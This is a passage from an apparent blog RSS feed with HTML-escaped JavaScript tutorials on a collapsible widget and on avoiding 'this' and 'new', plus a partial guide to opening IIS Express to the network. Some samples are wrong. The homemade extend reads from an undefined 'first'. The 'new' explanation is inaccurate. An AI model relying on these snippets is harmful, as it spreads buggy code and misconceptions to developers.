console.log(foo); //error
(function(){
	console.log(foo); //undefined
	var foo = 5;
	console.log(foo); //5
})()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;this can cause subtle bugs if you reuse a variable or function name within the same function, but it can also be used wisely. Here’s the thing - function declarations (as opposed to assignments), can’t be automatically split from their variable. So they are both declared &lt;strong&gt;and defined&lt;/strong&gt; at the function top. This means that function declarations can appear &lt;strong&gt;anywhere&lt;/strong&gt; within a function body and be used everywhere else, more to the point, it means that - much like in class-based languages, we can create many private helper methods am move them away from the code governing what the function actually does.&lt;/p&gt;

&lt;p&gt;Since the details of what &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;toggle&lt;/code&gt; does are far less important than what we’re actually doing with it, I moved that code toward the bottom of my function. The specifics of how the html structure is imposed are similarly secondary to the fact html restructuring is done so these also go in their own function and are bumped to the bottom.&lt;/p&gt;

&lt;p&gt;Overall this is the strucutre I recommend for any function:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;var declarations, usually no more at one line each (create a private function if needed)&lt;/li&gt;
  &lt;li&gt;followed by thing the function actually does - trying to boil it down to the bare workflow mechanics&lt;/li&gt;
  &lt;li&gt;followed by as many private functions as your heart desires.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The advantage is that this makes it very clear what any dependencies are (they are picked out toward the top), and &lt;em&gt;very&lt;/em&gt; clear what the actual workflow is. And that’s what I’m usually after when I read code, not the details of how you did something, but the gist of what it is that you are doing. If I want to dig into specifics I will do so only after understanding the context.&lt;/p&gt;

&lt;h2 id=&quot;make-it-work-but-better&quot;&gt;Make It Work, But Better&lt;/h2&gt;

&lt;p&gt;So I suppose we should make the darn thing clickable, huh? So that the collapser will…collapse? Well that can be as simple as adding&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;javascript&quot;&gt;
  $collapseHandle.on(&apos;click&apos;, function(){
    toggle(...uhhh...what should go here?)
  })
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;hmm…seems like we need to maintain state somewhere. Lots of options here - we could test for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.collapsed&lt;/code&gt; class, or store it in the element’s data. Or just create a simple variable tracking it! So following our simple just-like-you-think-it-is closure rules, we create an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;isOpen&lt;/code&gt; variable inside of our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;makeCollapsible&lt;/code&gt; function and voila.&lt;/p&gt;

&lt;p&gt;&lt;a class=&quot;jsbin-embed&quot; href=&quot;http://jsbin.com/weniqu/30/embed?js,output&quot;&gt;Clicking works&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We have the basics of a reusable clickable collapser.&lt;/p&gt;

&lt;h2 id=&quot;adding-optional-parameters&quot;&gt;Adding Optional Parameters&lt;/h2&gt;

&lt;p&gt;Not very customizable though, is it? If we want to use it throughout our application we need some options. How about we add one to set the initial state to collapsed?&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;javascript&quot;&gt;
  $(&apos;.should-collapse&apos;).toArray().map(function(el, index){ 
    makeCollapsible(el, {
      collapsed: index &amp;gt; 0
    }) 
  })
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;So every widget after the first one should be collapsed at initialization.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Json Notation&lt;/strong&gt; really works in our favor here. What we want is named parameters. What we have is a json object. Which, minus the braces - looks exactly like named parameters. The fact that these objects are so lightweight works strongly in our favor as it is fairly easy to create and use these everywhere and for everything.&lt;/p&gt;

&lt;p&gt;Speaking of which, let’s take an options object as input&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;javascript&quot;&gt;
  function makeCollapsible(el, options) {
    var $el = $(el).addClass(&apos;collapsible&apos;);
    var $collapseHandle = createStructure();
    var isOpen = !options.collapsed;
    ...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This will work great even when calling &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;makeCollapsed(el, {})&lt;/code&gt; since in that case &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;collapsed&lt;/code&gt; is undefined which the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!&lt;/code&gt; operator converts to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;false&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This is &lt;em&gt;boolean coercion&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;We do however have a problem when going back to our old usage &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;makeCollapsed(el)&lt;/code&gt;. This now throws an error since in this case &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;options&lt;/code&gt; itself doesn’t exist for us to attempt to draw the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;collapsed&lt;/code&gt; property from. Not very optional then is it?&lt;/p&gt;

&lt;p&gt;There is a bunch of ways to set parameter defaults and here is my favorite one&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;javascript&quot;&gt;
  function makeCollapsible(el, options) {
    options || (options = {});
    ...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;So, if options coerces to true (eg it is an object), continue; otherwise assign &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;{}&lt;/code&gt; to options.&lt;/p&gt;

&lt;p&gt;Yes, it doesn’t handle a bunch of edge case scenarios quite properly, and an api released to the public I might be more stringent, but its simple and very visually distinctive. Within the internals of my code, where I can reasonably control my inputs, this works fine.&lt;/p&gt;

&lt;p&gt;Of course this opens up a whole bunch of intriguing opportunities.&lt;/p&gt;

&lt;p&gt;For example, what if the user wanted to provide a &lt;strong&gt;custom&lt;/strong&gt; way for our collapsible area to appear or disappear? Something like&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;javascript&quot;&gt;
  $(&apos;.should-collapse&apos;).toArray().map(function(el, index){ 
    makeCollapsible(el, {
      collapsed: index &amp;gt; 0,
      toggleArea: function($area, shouldOpen) {
        if(shouldOpen)
          $area.fadeIn();
        else
          $area.fadeOut();
      }
    }) 
  })
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Well we could do this by checking explicitly&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;javascript&quot;&gt;
  function makeCollapsible(el, options) {
    options || (options = {});
    options.toggleArea || (options.toggleArea = defaultToggleArea)
    ...
    function toggle(shouldShow) {
      options.toggleArea($collapseHandle.next(), shouldShow);
      $el.toggleClass( &apos;collapsed&apos;, !shouldShow );
      isOpen = shouldShow
    }
    ...
  }
  function defaultToggleArea($area, shouldShow) {
      $area.toggle( shouldShow );    
  }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;and while that’s ok, options is starting to get messy. Let’s clean that up.&lt;/p&gt;

&lt;h2 id=&quot;better-optional-parameters&quot;&gt;Better Optional Parameters&lt;/h2&gt;

&lt;pre&gt;&lt;code class=&quot;javascript&quot;&gt;
(function(){
  var defaultOptions = {
    collapsed: false,
    toggleArea: defaultToggleArea
  };

  function makeCollapsible(el, op) {
    var options = $.extend({}, defaultOptions, op);
    ...
    toggle(isOpen);
    
    /////////////////////////    
    function toggle(shouldShow) {
      options.toggleArea($collapseHandle.next(), shouldShow);
      $el.toggleClass( &apos;collapsed&apos;, !shouldShow );
      isOpen = shouldShow
    }
    ...
  }
  function defaultToggleArea($area, shouldShow) {
      $area.toggle( shouldShow );    
  }
  
  window.makeCollapsible = makeCollapsible;
})()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;A lot happened here, so lets take it step by step.&lt;/p&gt;

&lt;p&gt;Outside the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;makeCollapsible&lt;/code&gt; function but inside our module (so it is private) we created the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;defaultOptions&lt;/code&gt; variable with all of our defaults set. In order to do this we needed to move &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;defaultToggleArea&lt;/code&gt; to the parent closure, but it was not using any variables except those passed to it so this is not a problem.&lt;/p&gt;

&lt;p&gt;Next we have that weird &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$.extend&lt;/code&gt; call. I love the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$.extend&lt;/code&gt; function. In fact, everyone does. It’s so awesome that every single library that I can think of implements a version of it. So what does this ubiquitously useful function do?&lt;/p&gt;

&lt;p&gt;It merges objects.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;And objects are just hashes.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It’s likely that you’ve heard this before, but here it really starts to make sense. to merge &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;var foo = {a: 1, b: 2}&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;var bar = {a: 1, c: 3}&lt;/code&gt; simply iterate through each property of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bar&lt;/code&gt; and write its value to the same property name of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;foo&lt;/code&gt; resulting in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;{a: 1, b: 2, c: 3}&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;And at it’s core this is all that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;extend&lt;/code&gt; does: Start with the second parameter and merges it into the first, if there’s a third parameter merge it into the first one again, etc.&lt;/p&gt;

&lt;p&gt;This ends up being insanely useful, for example, have you ever wondered how to share functions between various objects without using javascript’s crazy “class” system? (In quotes because it doesn’ t work the way most people think it does and should be avoided). Simple, just place the reusable methods in an object, and extend any others&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;javascript&quot;&gt;
var animalBehavior = {
  eat: function() {...}
  sleep: function() {...}
}
...
var cat = $.extend(catSpecificBehavior, animalBehavior);
var dog = $.extend(dogSpecificBehavior, animalBehavior);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Well that’s simple, but are they disadvantages over prototypes and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;new&lt;/code&gt; keyword? Well yes, it doesn’t show up in stacktraces as an isntance of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;animalBehavior&lt;/code&gt; and it’s slightly slower (but really its so slight, that you shouldn’t care). Advantages - far fewer bugs and unexpected behaviors as very few people understand &lt;a href=&quot;http://stackoverflow.com/a/3658673/5056&quot;&gt;what the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;new&lt;/code&gt; keyword &lt;em&gt;actually&lt;/em&gt; does&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;new&lt;/code&gt; is wierd and anti-intuitive, and introduces a sizable host of new concepts to keep track of. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;extend&lt;/code&gt; is dirt simple, just use that.&lt;/p&gt;

&lt;p&gt;As a matter of fact &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;extend&lt;/code&gt; is so easy let’s take a moment and implement our own naive version now.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;javascript&quot;&gt;
function extend(obj) {
  for(var i=1; i &amp;lt; arguments.length; i+=1) //iterate through all but the first (obj) argument
    for(var key in arguments[i])
      obj[key] = first[key];    //just copy all its properties
  return obj;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Isn’t that awesome? And thanks to &lt;strong&gt;dynamic funciton signatures&lt;/strong&gt; we can call it with one, two, three, or any number of parameters, it will just work!&lt;/p&gt;

&lt;p&gt;And while we’re at it, let’s kick this party up another notch&lt;/p&gt;

&lt;p&gt;&lt;a class=&quot;jsbin-embed&quot; href=&quot;http://jsbin.com/weniqu/34/embed?js,output&quot;&gt;defaultOptions object that is locally or globaly configurable&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here we’ve modified the above to add &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;defaultOptions&lt;/code&gt; directly to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;makeCollapsible&lt;/code&gt; function. I think most people are aware that its possible to add properties to functions but there is usually little reason to do it. In this case we decided that people might want to set defaults site-wide to achieve a consistent look and feel. We would therefore have to export &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;defaultOptions&lt;/code&gt;. While we could create another global variable, in this case it feels natural to group both the function and its defaults together using the function as a sort of namespace.&lt;/p&gt;

&lt;p&gt;This allows our widget’s users to easily find and modify defaults.&lt;/p&gt;

&lt;p&gt;And while we’re at it, since we’re now embracing the objects-are-just-hashes philosophy we can take the time and remove some duplciation from our fadein/out custom function. Since the only thing that is different is the name of the property we’re invoking, we can select it in a one-liner &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator&quot;&gt;with a ternary if&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;So what’s left? Our collapse/expand all buttons I supose.&lt;/p&gt;

&lt;h2 id=&quot;exposing-public-functionality&quot;&gt;Exposing Public Functionality&lt;/h2&gt;

&lt;p&gt;Something like this would be nice&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;javascript&quot;&gt;
$(function(){
  makeCollapsible.defaultOptions.toggleArea = toggleAreaByFading
  var collapsers = $(&apos;.should-collapse&apos;).toArray().map(makeElementACollapser);

  $(&apos;.collapse-all&apos;).on(&apos;click&apos;, function(){
    collapsers.map(function(c){ c.collapse() });
  });
  $(&apos;.expand-all&apos;).on(&apos;click&apos;, function(){
    collapsers.map(function(c){ c.expand() });
  });
  
  
  function makeElementACollapser(el, index){ 
    return makeCollapsible(el, {
      collapsed: index &amp;gt; 0
    }) 
  }
  function toggleAreaByFading($area, shouldShow) {
    $area[shouldShow ? &apos;fadeIn&apos; : &apos;fadeOut&apos;]()
  }
})
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;And there you have it. We now need to have makeCollapsers return an object with methods. Surely this is a job for classes, right?&lt;/p&gt;

&lt;p&gt;Or not. Turns out that we can just return from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;makeCollapsible&lt;/code&gt; an object…with some methods…&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;javascript&quot;&gt;
  $collapseHandle.on(&apos;click&apos;, function(){ toggle(!isOpen) })
  toggle(isOpen);
  
  return {
    collapse: function() { toggle(false) },
    expand: function() { toggle(true) }
  }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Almost disappointing how easy it is, ain’t it? And yet I’ve seen many people struggle with how to achieve this for long minutes during interviews.&lt;/p&gt;

&lt;p&gt;It’s the classical inheritance knowledge getting in the way, making you think there’s somethign you’re missing. Yet no, using simple closures and lightweight objects, we have in effect mimicked a  constructor (the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;makeCollapsible&lt;/code&gt; method itself), private methods (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;toggle&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;createStructure&lt;/code&gt;), and public methods (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;collapse&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;expand&lt;/code&gt;). All without having to bring in concepts like &lt;em&gt;classes&lt;/em&gt;, &lt;em&gt;instances&lt;/em&gt;, or &lt;em&gt;access modifiers&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Well since that was so easy let’s go one step further and clean up the remaining code&lt;/p&gt;

&lt;h2 id=&quot;final-cleanup&quot;&gt;Final Cleanup&lt;/h2&gt;

&lt;p&gt;&lt;a class=&quot;jsbin-embed&quot; href=&quot;http://jsbin.com/weniqu/34/embed?js,output&quot;&gt;Final Cleanup and Working Demo&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Notice that I changed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;function() { toggle(true) }&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;toggle.bind(null, true)&lt;/code&gt; using &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind&quot;&gt;Function.prototype.bind&lt;/a&gt; to create a new function, with it’s parameter curried to true. It’s a bit of a judgement call whether this is simpler or not, but I tend to like it.&lt;/p&gt;

&lt;p&gt;More interesting is how we cleared up the redundant code that would iterate the collapsers to call expand or contract&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;javascript&quot;&gt;
  $(&apos;.collapse-all&apos;).on(&apos;click&apos;, invokeOnAll(collapsers, &apos;collapse&apos;));
  $(&apos;.expand-all&apos;).on(&apos;click&apos;, invokeOnAll(collapsers, &apos;expand&apos;));
  
  function invokeOnAll(objects, methodName) { return function invokeOnAll() {
    return objects.map(function(x) { return x[methodName]() });
  }}  
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;A function that returns a function! You can learn more about this technique in Reginald Braithwaite’s &lt;a href=&quot;https://leanpub.com/javascript-allonge/read&quot;&gt;Javascript Allongé&lt;/a&gt;, and I think it cleans up this nicely. You might note that I named the returned function &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;invokeOnAll&lt;/code&gt; as well. This is a tiny bit of defensive coding that doesn’t actually &lt;em&gt;do&lt;/em&gt; anything. Instead it ensures that the function has a name, so that when viewing debugging stack traces I see the name rather than &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;anonymous function&amp;gt;&lt;/code&gt;. It’s nice.&lt;/p&gt;

&lt;p&gt;So there we have it, the basics of achieving a collapsible area widget. You can easily imagine adding features to it. The ability to specify how you want the handle built so you can collapse to a heading, the ability to detect when the collapsing animation has finished (if one was used), The ability to name animations (eg &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;toggleArea: &apos;slide&apos;&lt;/code&gt;) rather than pass functions, and of course making it a jquery widget (though I would very much recommend here going a step further and using a &lt;a href=&quot;http://learn.jquery.com/plugins/stateful-plugins-with-widget-factory/&quot;&gt;jquery ui widget factory&lt;/a&gt; which will take care of much of this for you).&lt;/p&gt;

&lt;p&gt;All these things are achievable and made quite simple with the basic techniques outlined above. This is &lt;strong&gt;really&lt;/strong&gt; javascript the good parts - the ability to eschew more complex concepts, and still build simple, flexible, and awesome things.&lt;/p&gt;

&lt;script src=&quot;http://static.jsbin.com/js/embed.js&quot; async=&quot;&quot; defer=&quot;&quot;&gt;&lt;/script&gt;

</description>
    </item>
    
    <item>
      <title>On this and new</title>
      <link>http://georgemauer.net/2014/04/29/on-this-and-new.html</link>
      <pubDate>Tue, 29 Apr 2014 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2014/04/29/on-this-and-new.html</guid>
      <description>&lt;p&gt;This is the pattern that a lot things recommend&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;javascript&quot;&gt;
    function Person(firstName, lastName) {
      this.firstName = firstName;
      this.lastName = lastName;
      this.name = function() { return this.firstName + &quot; &quot; + this.lastName;}
    	this.printName = function() { console.log(&quot;my name is&quot;, this.name())}
    }
    var george = new Person(&quot;George&quot;, &quot;Mauer&quot;);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;What do you think that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;new&lt;/code&gt; does? It’s not what you think. This is what &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;new&lt;/code&gt; actually does&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;javascript&quot;&gt;
    var fn = new Function();
    fn.__proto__ = Person; //chrome only - each browser has a different syntax for this step
    var res = Person.call(fn, firstName, lastName);
    return (res === undefined) ? fn : res;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Huh? But that’s insane…..exactly.&lt;/p&gt;

&lt;p&gt;What about &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt;? How can that be confusing.&lt;/p&gt;

&lt;p&gt;The problem is that despite what you think &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt; doesn’t reference scope. It is really just a parameter like any other. This becomes a lot more clear if you realize that&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;javascript&quot;&gt;
    myFunc(1,2,3); 
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;is really just a facade for how javascript &lt;strong&gt;really&lt;/strong&gt; invokes methods&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;javascript&quot;&gt;
    myFunc.call(whateverThisIs, 1, 2, 3);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;So all that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt; is, is just the first parameter passed into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.call()&lt;/code&gt;. That’s it - no magic, no language-support, it’s just a parameter.&lt;/p&gt;

&lt;p&gt;Worse, if you use the simpler syntax, javascript will pick what the value of that parameter should be at runtime. The rules aren’t terribly complex but they’re often not what you want. As an example:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;javascript&quot;&gt;
    george.printName(); //equivalent to george.prototype.printName.call(george)
    var printName = george.printName();
    printName();        //equivalent to george.prototype.printName.call(window);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;And it gets wierder if you consider strict mode.&lt;/p&gt;

&lt;p&gt;A lot of libraries &lt;strong&gt;also&lt;/strong&gt; take guesses at what &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt; should be.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;javascript&quot;&gt;
    $(&apos;button&apos;).click(george.printName); //this won&apos;t work because &quot;this&quot; is the button element and doesn&apos;t have name()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt; is therefore a parameter like any other and by using it you’re trusting people to always pass in the correct value. And other people know less about &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt; than you do!&lt;/p&gt;

&lt;p&gt;so you &lt;strong&gt;could&lt;/strong&gt; always use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fn.call()&lt;/code&gt; syntax. Or you could&lt;/p&gt;

&lt;h1 id=&quot;not-use-this-or-new&quot;&gt;Not Use this or new&lt;/h1&gt;

&lt;p&gt;The same code but without these keywords:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;javascript&quot;&gt;
    function createPerson(firstName, lastName) {
    	var _p = {
    		 firstName: firstName
    		,lastName:  lastName
    		,name:      function() { return _p.firstName + &quot; &quot; + _p.lastName}
    		,printName: function() { console.log(&quot;My name is&quot;, _p.name())}
    	};
    	return _p;  // I like an underscore prefix to indicate &quot;this is what I&apos;m buiding here&quot;
    }
    
    var betterGeorge = createPerson(&quot;George&quot;, &quot;Mauer&quot;);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;And bam! No more wierd implicit parameters, callbacks and everything else works great forever!&lt;/p&gt;

&lt;h1 id=&quot;to-be-fair&quot;&gt;To Be Fair&lt;/h1&gt;

&lt;p&gt;Sometimes you can’t get away from it. If you’re in a jQuery callback for example you might have to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt; because that’s how the framework works. But please, &lt;strong&gt;please&lt;/strong&gt; don’t write your own code to use it.&lt;/p&gt;

&lt;p&gt;Also, there ARE a few benefits to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;new&lt;/code&gt;/&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt; thing.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;In some cases referencing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt; is slightly faster than referencing a variable in a parent scope. This difference is very slight and basically matters only if you’re writting the next underscore or jQuery. Your project doesn’t need it. Seriously Mario, your bottleneck is in another castle.&lt;/li&gt;
  &lt;li&gt;If you need to &lt;a href=&quot;http://caniuse.com/#search=object.create&quot;&gt;support a browser without &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Object.create&lt;/code&gt;&lt;/a&gt; there is no other way to wire up prototype inheritence cross-browser. This is another thing that unless you’re building an extensible framework you probably don’t need. If you need to share properties or methods every library has a version of the &lt;a href=&quot;http://api.jquery.com/jQuery.extend/&quot;&gt;extend helper&lt;/a&gt; that will work for this.&lt;/li&gt;
  &lt;li&gt;Finally, there’s the fact that when logged to a console, things with a prototype look &lt;strong&gt;slightly&lt;/strong&gt; nicer and are labeled as their prototype rather than as “Object”. This is valid but a tiny, tiny issue.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As a whole these benefits certainly don’t excuse introducing two whole new concepts into your code, especially concepts that are as confusing and poorly understood as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;new&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I think it is probably only fair to amend that I’m usually opposed to javascript class systems in general. They require the use of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;new&lt;/code&gt; (though not necessarily of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt; - I’ll write up how later)
and between function composition and the extend pattern are generally not necessary for either organizing or building performant code in 90% of cases.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Open IIS Express to the Network</title>
      <link>http://georgemauer.net/2013/10/09/open-iis-to-the-network.html</link>
      <pubDate>Wed, 09 Oct 2013 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2013/10/09/open-iis-to-the-network.html</guid>
      <description>&lt;p&gt;How many times have I run into this?&lt;/p&gt;

&lt;p&gt;A css error that is only happening on the tablet and me with no &lt;a href=&quot;http://www.browserstack.com/&quot;&gt;Browserstack&lt;/a&gt; account. 
Js errors &lt;a href=&quot;http://jsconsole.com/&quot;&gt;I can handle&lt;/a&gt; and heck, I even know how to &lt;a href=&quot;http://people.apache.org/~pmuellr/weinre/docs/latest/Installing.html&quot;&gt;set up a pseudo remote-debugging environment 
to the tablet&lt;/a&gt;. But I still need to open up
my webserver to off-machine requests and love it as I do, &lt;a href=&quot;https://ngrok.com&quot;&gt;ngrok&lt;/a&gt; is not going to fit this bill.&lt;/p&gt;

&lt;p&gt;Since I’m in Microsoft-world usually running IIS Express in my dev environment this requires a whole lot of messing around with
unfriendly and undocumented configurations.&lt;/p&gt;

&lt;p&gt;I run all my development tools in a virtual machine so the following is my process to do this. If you do not, just take out the virtual machine and port forwarding parts.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Determine the port number you want to access your application on. In my case it’s 1352 and I make sure its hard coded to that in my web project properties. While in there (under the Web section) you might want to make sure that you’re indeed using iisexpress&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Clean up your netsh urlacl. In an admin powershell console:&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;`netsh http show urlacl | select-string 1352`

for each one of these you will want to run a delete
   
`netsh http delete urlacl url=http://each-listed-ip:1352/`
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Allow wildcard urlacl&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;`netsh http add urlacl url=http://*:1352/ user=everyone`
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;

    &lt;p&gt;&lt;strong&gt;I don’t know what this does, don’t ask.&lt;/strong&gt; But it &lt;strong&gt;&lt;em&gt;is&lt;/em&gt;&lt;/strong&gt; necessary.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Setup a wildcard iis express binding in your iis applicationhosts file. Usually in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~\Documents\IISExpress\config\applicationhost.config&lt;/code&gt;.
Find the xml node corresponding to your project. Something along the lines of&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; &amp;lt;pre&amp;gt;&amp;lt;code class=&quot;xml&quot;&amp;gt;
     &amp;lt;site name=&quot;YourProject.Web&quot; id=&quot;11&quot;&amp;gt;
         &amp;lt;application path=&quot;/&quot; applicationPool=&quot;Clr4IntegratedAppPool&quot;&amp;gt;
             &amp;lt;virtualDirectory path=&quot;/&quot; physicalPath=&quot;c:\yourproject\YourProject.Web&quot; /&amp;gt;
         &amp;lt;/application&amp;gt;
         &amp;lt;bindings&amp;gt;
             &amp;lt;binding protocol=&quot;http&quot; bindingInformation=&quot;*:1352:localhost&quot; /&amp;gt;
         &amp;lt;/bindings&amp;gt;
     &amp;lt;/site&amp;gt;
 &amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;

    &lt;p&gt;modify the binding node to a wildcard:&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; &amp;lt;pre&amp;gt;&amp;lt;code class=&quot;xml&quot;&amp;gt;
